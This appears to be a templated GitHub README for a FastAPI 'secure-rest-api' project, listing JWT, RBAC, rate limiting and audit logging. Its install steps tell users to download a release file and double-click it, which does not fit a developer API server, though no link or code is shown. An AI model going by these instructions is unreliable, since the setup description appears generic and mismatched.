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🔒 secure-rest-api - A Secure Way to Use APIs

🚀 Getting Started

Welcome to the secure-rest-api project! This application provides a security-focused REST API built with FastAPI. It follows the best practices of OWASP and ensures your data is protected. This guide will help you download and run the software easily.

🗂️ Download & Install

Step 1: Download the Software

To get started, you need to download the application. Click the button below to visit the Releases page:

Step 2: Choose the Right Version

Once you are on the Releases page, you will see a list of available versions. Find the version that works best for you. The latest version usually has the most features and security updates.

Click on the version number to view details. You will see the files available for download. Look for a file that is suitable for your operating system.

Step 3: Download the File

Click on the desired file to download it. The file will save to your computer.

Step 4: Run the Application

After the download is complete, locate the file on your system. Double-click it to run the application. Follow any prompts that appear on your screen.

🔍 Features

The secure-rest-api provides a range of features to keep your data secure:

• JWT Authentication: Uses JSON Web Tokens to verify user identity securely.
• Role-Based Access Control (RBAC): Grants permissions based on user roles to enhance security.
• Rate Limiting: Protects your API from abuse by limiting the number of requests.
• Account Lockout: Temporarily locks accounts after multiple failed login attempts to prevent unauthorized access.
• Audit Logging: Keeps track of access and changes to ensure accountability.

🔧 System Requirements

To effectively run the secure-rest-api, ensure your system meets the following minimum requirements:

• Operating System: Windows 10 or later, macOS 10.14 or later, or any modern Linux distribution.
• Memory: At least 512 MB of RAM.
• Disk Space: At least 100 MB of free disk space.
• Network: Internet connection for downloading and using the API.

🖥️ Usage

After running the application, you can interact with the REST API. You may use tools like Postman or Insomnia to test API endpoints.

To send a request, make sure to include any authentication tokens if required.

⚙️ Advanced Configuration

If you want to customize the secure-rest-api for your needs, check the configuration files. You can adjust settings for authentication, logging, and rate limits to better suit your application.

🌐 Support

If you encounter issues, please feel free to check the FAQ section on our GitHub page. You can also raise an issue directly there for more specific support.

📜 License

This application is open-source and licensed under the MIT License. You are free to use, modify, and distribute the software.

📥 Additional Download Link

As mentioned, you can also visit the Releases page for further details and downloadable files:

Visit the Releases page to download the secure-rest-api.

Following this guide will help you get the secure-rest-api up and running smoothly. Enjoy enhanced security for your API needs!